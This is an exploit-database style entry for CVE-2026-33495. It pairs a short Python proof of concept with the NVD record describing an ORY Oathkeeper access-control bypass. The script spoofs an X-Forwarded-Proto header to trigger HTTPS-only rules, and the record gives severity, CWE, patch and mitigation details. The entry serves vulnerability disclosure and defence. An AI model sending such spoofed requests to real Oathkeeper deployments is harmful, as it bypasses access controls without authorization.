CVE-2026-33495

# Exploit Title: ORY Oathkeeper < 26.2.0 - Access Control Bypass via X-Forwarded-Proto # Description: Send a request with the X-Forwarded-Proto header to bypass rules that differentiate between HTTP and HTTPS. import requests target_url = "http://target-oathkeeper-api/protected-resource" # If the server has strict rules for HTTP but allows HTTPS, # we can trick it by setting the header. headers = { "User-Agent": "Mozilla/5.0", "X-Forwarded-Proto": "https" # Spoofing the protocol } response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Potential bypass successful! Response received.") print(response.text) else: print("[-] Bypass failed or blocked.")

{"cve": {"id": "CVE-2026-33495", "sourceIdentifier": "[email protected]", "published": "2026-03-26T18:16:30.560", "lastModified": "2026-04-02T21:01:07.793", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. Ory Oathkeeper is often deployed behind other components like CDNs, WAFs, or reverse proxies. Depending on the setup, another component might forward the request to the Oathkeeper proxy with a different protocol (http vs. https) than the original request. In order to properly match the request against the configured rules, Oathkeeper considers the `X-Forwarded-Proto` header when evaluating rules. The configuration option `serve.proxy.trust_forwarded_headers` (defaults to false) governs whether this and other `X-Forwarded-*` headers should be trusted. Prior to version 26.2.0, Oathkeeper did not properly respect this configuration, and would always consider the `X-Forwarded-Proto` header. In order for an attacker to abuse this, an installation of Ory Oathkeeper needs to have distinct rules for HTTP and HTTPS requests. Also, the attacker needs to be able to trigger one but not the other rule. In this scenario, the attacker can send the same request but with the `X-Forwarded-Proto` header in order to trigger the other rule. We do not expect many configurations to meet these preconditions. Version 26.2.0 contains a patch. Ory Oathkeeper will correctly respect the `serve.proxy.trust_forwarded_headers` configuration going forward, thereby eliminating the attack scenario. We recommend upgrading to a fixed version even if the preconditions are not met. As an additional mitigation, it is generally recommended to drop any unexpected headers as early as possible when a request is handled, e.g. in the WAF."}, {"lang": "es", "value": "ORY Oathkeeper es un Proxy de Identidad y Acceso (IAP) y una API de Decisión de Control de Acceso que autoriza solicitudes HTTP basándose en conjuntos de Reglas de Acceso. Ory Oathkeeper a menudo se despliega detrás de otros componentes como CDNs, WAFs o proxies inversos. Dependiendo de la configuración, otro componente podría reenviar la solicitud al proxy de Oathkeeper con un protocolo diferente (HTTP vs. HTTPS) que la solicitud original. Para hacer coincidir correctamente la solicitud con las reglas configuradas, Oathkeeper considera el encabezado 'X-Forwarded-Proto' al evaluar las reglas. La opción de configuración 'serve.proxy.trust_forwarded_headers' (por defecto es falso) rige si este y otros encabezados 'X-Forwarded-*' deben ser confiables. Antes de la versión 26.2.0, Oathkeeper no respetaba correctamente esta configuración y siempre consideraba el encabezado 'X-Forwarded-Proto'. Para que un atacante pueda abusar de esto, una instalación de Ory Oathkeeper necesita tener reglas distintas para solicitudes HTTP y HTTPS. Además, el atacante necesita poder activar una regla pero no la otra. En este escenario, el atacante puede enviar la misma solicitud pero con el encabezado 'X-Forwarded-Proto' para activar la otra regla. No esperamos que muchas configuraciones cumplan estas precondiciones. La versión 26.2.0 contiene un parche. Ory Oathkeeper respetará correctamente la configuración 'serve.proxy.trust_forwarded_headers' en adelante, eliminando así el escenario de ataque. Recomendamos actualizar a una versión corregida incluso si no se cumplen las precondiciones. Como mitigación adicional, generalmente se recomienda descartar cualquier encabezado inesperado lo antes posible cuando se maneja una solicitud, por ejemplo, en el WAF."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ory:oathkeeper:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2.0", "matchCriteriaId": "657854A7-D847-40E5-9771-601F5BF0FDA4"}]}]}], "references": [{"url": "https://github.com/ory/oathkeeper/commit/e9acca14a04d246250557550065e4b4576525bd5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ory/oathkeeper/security/advisories/GHSA-vhr5-ggp3-qq85", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}